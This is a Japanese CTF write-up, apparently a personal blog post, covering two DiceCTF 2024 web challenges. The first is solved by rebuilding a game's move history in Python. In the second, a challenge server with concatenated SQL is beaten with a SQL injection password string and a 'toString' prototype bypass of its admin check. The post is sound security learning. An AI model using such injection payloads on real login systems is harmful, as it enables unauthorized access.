DiceCTF 2024 writeup&upsolve

初ブログです、自分用に整理のため。

お偉いさんが
「成長したいなら書きなさいっ！」
って言ってたんだもん。。。

# DiceCTF 2024
一人で参加、主にwebに取り掛かりました。
もう少し解けるようになりたいな。。。

<!--
解いた問題数
-->

1. [dicedicegoose](#dicedicegoose-web-445-solves)
1. [funnylogin](#funnylogin-web-269-solves)


## dicedicegoose [web 445 solves]
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2670010/fb032d78-f1ba-baca-46f9-66857dd3b013.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2670010/32daa6d6-501f-c510-0c4b-5d920feefe68.png)

鬼ごっこ形式
wasdでさいころが上下する。黒マスに到達したら勝ちだが、黒マスはランダムに移動する。
最短回数(9回)で到達したらflagを獲得できる。

ソースコードにスクリプトの詳細あり
```js
// 省略

do {
      nxt = [goose[0], goose[1]];
      switch (Math.floor(4 * Math.random())) {
        case 0:
          nxt[0]--;
          break;
        case 1:
          nxt[1]--;
          break;
        case 2:
          nxt[0]++;
          break;
        case 3:
          nxt[1]++;
          break;
      }
    } while (!isValid(nxt));

    goose = nxt;

    history.push([player, goose]);

    redraw();
  };
```

サイコロ(player)と黒枠(goose)を行動ごとにhistoryにpushしているようだ。

```js
function win(history) {
    const code = encode(history) + ";" + prompt("Name?");

    const saveURL = location.origin + "?code=" + code;
    displaywrapper.classList.remove("hidden");

    const score = history.length;

    display.children[1].innerHTML = "Your score was: <b>" + score + "</b>";
    display.children[2].href =
      "https://twitter.com/intent/tweet?text=" +
      encodeURIComponent(
        "Can you beat my score of " + score + " in Dice Dice Goose?",
      ) +
      "&url=" +
      encodeURIComponent(saveURL);

    if (score === 9) log("flag: dice{pr0_duck_gam3r_" + encode(history) + "}");
  }
```

最短回数、すなわち score=9 のときのみ行動履歴であるhistoryをencodeしたのちflagとして表示する。

思いついた考え方は２つ。
1. Math.floor(4 * Math.random()) を変えて、黒枠が左に移動するように固定して実行
開発ツールの使い方を把握しきれていない...
開発ツール上でスクリプト書き換えて、書き換えたものをもとに実行する方法ってあるんですかね（あるとは思うんですが ; ;）

1. encode(history) をごり押し作成
最短ケースのhistoryは次の通りになるはず
```py
history =[
    [[0, 1], [9, 9]], 
    [[1, 1], [9, 8]], 
    [[2, 1], [9, 7]], 
    [[3, 1], [9, 6]], 
    [[4, 1], [9, 5]], 
    [[5, 1], [9, 4]], 
    [[6, 1], [9, 3]], 
    [[7, 1], [9, 2]], 
    [[8, 1], [9, 1]]
]
```
これを用いてencode(history)にあてはめたら、flagを獲得できる。
```js
function encode(history) {
    const data = new Uint8Array(history.length * 4);

    let idx = 0;
    for (const part of history) {
      data[idx++] = part[0][0];
      data[idx++] = part[0][1];
      data[idx++] = part[1][0];
      data[idx++] = part[1][1];
    }

    let prev = String.fromCharCode.apply(null, data);
    let ret = btoa(prev);
    return ret;
  }
```

やり方はいろいろあるっぽいが、コンソールを用いて実行。

pythonで書き換えた場合は以下の通りで同様の結果。
```python:python
import base64
history = []

for i in range(9):
    history.append([[i, 1], [9, 9-i]])

def encode(history):
    data = bytearray(len(history) * 4)

    idx = 0
    for part in history:
        data[idx] = part[0][0]
        data[idx + 1] = part[0][1]
        data[idx + 2] = part[1][0]
        data[idx + 3] = part[1][1]
        idx += 4

    ret = base64.b64encode(data).decode()
    return ret

print(("flag: dice{pr0_duck_gam3r_" + encode(history) + "}"))
```

実行結果

```
flag: dice{pr0_duck_gam3r_AAEJCQEBCQgCAQkHAwEJBgQBCQUFAQkEBgEJAwcBCQIIAQkB}
```

## funnylogin [web 269 solves]
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2670010/03a678fb-14bc-1bbe-bd80-e4542a59d3f5.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2670010/94dd0f49-f6df-7573-2a5f-1eca0056ace8.png)

ソースコードは次の通り。
```js
const express = require('express');
const crypto = require('crypto');

const app = express();

const db = require('better-sqlite3')('db.sqlite3');
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
    id INTEGER PRIMARY KEY,
    username TEXT,
    password TEXT
);`);

const FLAG = process.env.FLAG || "dice{test_flag}";
const PORT = process.env.PORT || 3000;

const users = [...Array(100_000)].map(() => ({ user: `user-${crypto.randomUUID()}`, pass: crypto.randomBytes(8).toString("hex") }));
db.exec(`INSERT INTO users (id, username, password) VALUES ${users.map((u,i) => `(${i}, '${u.user}', '${u.pass}')`).join(", ")}`);

const isAdmin = {};
const newAdmin = users[Math.floor(Math.random() * users.length)];
isAdmin[newAdmin.user] = true;

app.use(express.urlencoded({ extended: false }));
app.use(express.static("public"));

app.post("/api/login", (req, res) => {
    const { user, pass } = req.body;

    const query = `SELECT id FROM users WHERE username = '${user}' AND password = '${pass}';`;
    try {
        const id = db.prepare(query).get()?.id;
        if (!id) {
            return res.redirect("/?message=Incorrect username or password");
        }

        if (users[id] && isAdmin[user]) {
            return res.redirect("/?flag=" + encodeURIComponent(FLAG));
        }
        return res.redirect("/?message=This system is currently only available to admins...");
    }
    catch {
        return res.redirect("/?message=Nice try...");
    }
});

app.listen(PORT, () => console.log(`web/funnylogin listening on port ${PORT}`));
```

順々なIDに加え、ランダムなユーザー＆パスワードを100000個もつデータベースを作成する。また、１つのユーザーをadminとして登録する。

usernameとpasswordの２つが入力として必要であり、``users[id] && isAdmin[user]``が満たさればflagが獲得できる。

user[id]はidに1~100000のどれかが入ればいいのでSQLインジェクションでなんとかなりそう。すなわちpasswordの方でSQLインジェクションを実施。
usernameの方でisAdmin[user]の存在さえ証明できればいいが...？

終了後にJavascriptではプロトタイプというものがあることを理解。

[プロトタイプオブジェクト](https://jsprimer.net/basic/prototype-object/ "プロトタイプオブジェクト · JavaScript Primer #jsprimer")

空のオブジェクトを定義したとしても、いくつかのメソッドが自動的に定義されるというものである。

つまり、``const isAdmin = {};``の部分で``toString``メソッドを含めた複数のメソッドが自動生成される。生成されたメソッドを用いることで、trueの判定を得られる。

以上より、次のように入力を行うことでflagを獲得できる。
```
Username: toString
Password: 1' or id=1; --
```

実行結果

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2670010/9b8232d1-e385-e0ca-0ffb-39f57f8d46b5.png)
```
dice{i_l0ve_java5cript!}
```